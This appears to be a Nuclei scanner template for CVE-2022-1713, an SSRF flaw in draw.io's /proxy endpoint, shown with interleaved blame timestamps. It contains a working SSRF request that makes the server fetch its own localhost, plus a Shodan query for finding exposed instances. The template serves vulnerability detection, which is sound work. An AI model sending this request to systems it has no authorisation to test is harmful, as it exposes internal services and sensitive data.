2022-05-26 19:13:38 +00:00
id : CVE-2022-1713
info :
name : SSRF on /proxy in GitHub repository jgraph/drawio
author : pikpikcu
severity : high
2022-05-27 04:29:02 +00:00
description : |
SSRF on /proxy in GitHub repository jgraph/drawio prior to 18.0.4. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
reference :
2022-05-26 19:13:38 +00:00
- https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11
2022-05-27 04:29:02 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1713
metadata :
verified : true
shodan-query : http.title:"Flowchart Maker"
tags : cve,cve2022,drawio,ssrf,oss
2022-05-26 19:13:38 +00:00
requests :
- raw :
2022-05-27 04:29:02 +00:00
- |
2022-05-26 19:13:38 +00:00
GET /proxy?url=http%3a//0:8080/ HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
2022-05-27 04:29:02 +00:00
part : body
words :
- "<title>Flowchart Maker & Online Diagram Software</title>"
- type : word
part : header
2022-05-26 19:13:38 +00:00
words :
2022-05-27 04:29:02 +00:00
- "application/octet-stream"
